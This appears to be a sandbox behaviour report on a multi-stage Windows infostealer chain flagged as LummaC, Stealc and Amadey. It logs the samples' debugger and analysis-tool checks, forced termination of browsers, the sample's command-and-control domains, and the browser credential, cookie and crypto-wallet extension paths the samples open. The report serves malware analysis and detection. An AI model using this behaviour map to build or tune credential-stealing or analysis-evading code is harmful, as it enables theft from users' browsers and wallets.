Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe

Code function: 4_2_050306BC rdtsc

4_2_050306BC

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0104EAA2 BlockInput,

6_2_0104EAA2

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_01002622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_01002622

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_00FD42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00FD42DE

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_00FF4CE8 mov eax, dword ptr fs:[00000030h]

6_2_00FF4CE8

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_01030B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

6_2_01030B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_01002622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_01002622
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00FF083F
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF09D5 SetUnhandledExceptionFilter,	6_2_00FF09D5
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Code function: 6_2_00FF0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00FF0C21

Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: FAMTYULW1YWOKDICAUX3Y390M.exe PID: 2260, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1382777097.0000000005390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.1382777097.0000000005390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.1382777097.0000000005390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.stor
Source: file.exe, 00000000.00000003.1382777097.0000000005390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.stor
Source: file.exe, 00000000.00000003.1382777097.0000000005390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.stor
Source: file.exe, 00000000.00000003.1382777097.0000000005390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.stor
Source: file.exe, 00000000.00000003.1382777097.0000000005390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.stor
Source: file.exe, 00000000.00000003.1382777097.0000000005390000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.stor

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

6_2_01031201

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_01012BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

6_2_01012BA5

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0103B226 SendInput,keybd_event,

6_2_0103B226

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0103E355 mouse_event,

6_2_0103E355

Source: C:\Users\user\AppData\Local\Temp\EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe "C:\Users\user~1\AppData\Local\Temp\1000349001\bf119f2261.exe"

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

6_2_01030B62

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_01031663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_01031663

Source: MH7IABE9LKZLA9Q4.exe, 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmp, MH7IABE9LKZLA9Q4.exe.0.dr	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe, EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe, 00000004.00000002.1745332754.00000000004B0000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000009.00000002.1786946020.0000000001060000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Program Manager
Source: MH7IABE9LKZLA9Q4.exe	Binary or memory string: Shell_TrayWnd
Source: FAMTYULW1YWOKDICAUX3Y390M.exe, FAMTYULW1YWOKDICAUX3Y390M.exe, 00000003.00000002.1720122352.00000000004BF000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: ?Program Manager
Source: firefox.exe, 00000015.00000003.1917882657.0000010CAB601000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hSoftware\Policies\Microsoft\Windows\PersonalizationNoChangingStartMenuBackgroundPersonalColors_BackgroundWilStaging_02RtlDisownModuleHeapAllocationRtlQueryFeatureConfigurationRtlRegisterFeatureConfigurationChangeNotificationRtlSubscribeWnfStateChangeNotificationRtlDllShutdownInProgressntdll.dllNtQueryWnfStateDataLocal\SM0:%d:%d:%hs_p0Local\SessionImmersiveColorPreferenceBEGINTHMthmfile\Sessions\%d\Windows\ThemeSectionMessageWindowendthemewndThemeApiConnectionRequest\ThemeApiPortwinsta0SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\PersonalizeAppsUseLightThemeSystemUsesLightThemedefaultshell\themes\uxtheme\render.cppCompositedWindow::WindowdeletedrcacheMDIClientSoftware\Microsoft\Windows\DWMColorPrevalenceSoftware\Microsoft\Windows\CurrentVersion\ImmersiveShellTabletModeMENUAccentColorSoftware\Microsoft\Windows\CurrentVersion\Explorer\AccentDefaultStartColorControl Panel\DesktopAutoColorizationAccentColorMenuStartColorMenuAutoColorSoftware\Microsoft\Windows\CurrentVersion\Themes\History\ColorsSoftware\Microsoft\Windows\CurrentVersion\Themes\HistoryAccentPaletteTab$Shell_TrayWndLocal\SessionImmersiveColorMutex

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_00FF0698 cpuid

6_2_00FF0698

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FAMTYULW1YWOKDICAUX3Y390M.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000349001\bf119f2261.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_01048195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

6_2_01048195

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0102D27A GetUserNameW,

6_2_0102D27A

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_0100B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

6_2_0100B952

Source: C:\Users\user\AppData\Local\Temp\MH7IABE9LKZLA9Q4.exe

Code function: 6_2_00FD42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00FD42DE

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.1514965663.0000000005E76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: file.exe, 00000000.00000003.1502935350.0000000005E76000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 10.2.skotes.exe.e70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.skotes.exe.e70000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.EB62TLK1BMAO9DYHCNLEAQ1H122XS.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.skotes.exe.e70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.1758005852.0000000004F10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1704295013.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1745105372.00000000002C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2647852798.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1786616773.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2366082101.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1799865628.0000000000E71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1743991091.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: MH7IABE9LKZLA9Q4.exe PID: 180, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 3300, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 3.2.FAMTYULW1YWOKDICAUX3Y390M.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1719915306.00000000000D1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1675675388.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1722905457.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FAMTYULW1YWOKDICAUX3Y390M.exe PID: 2260, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1487091931.0000000005E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ets/Electrum-LTCZBfBpR
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1487115093.0000000001854000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
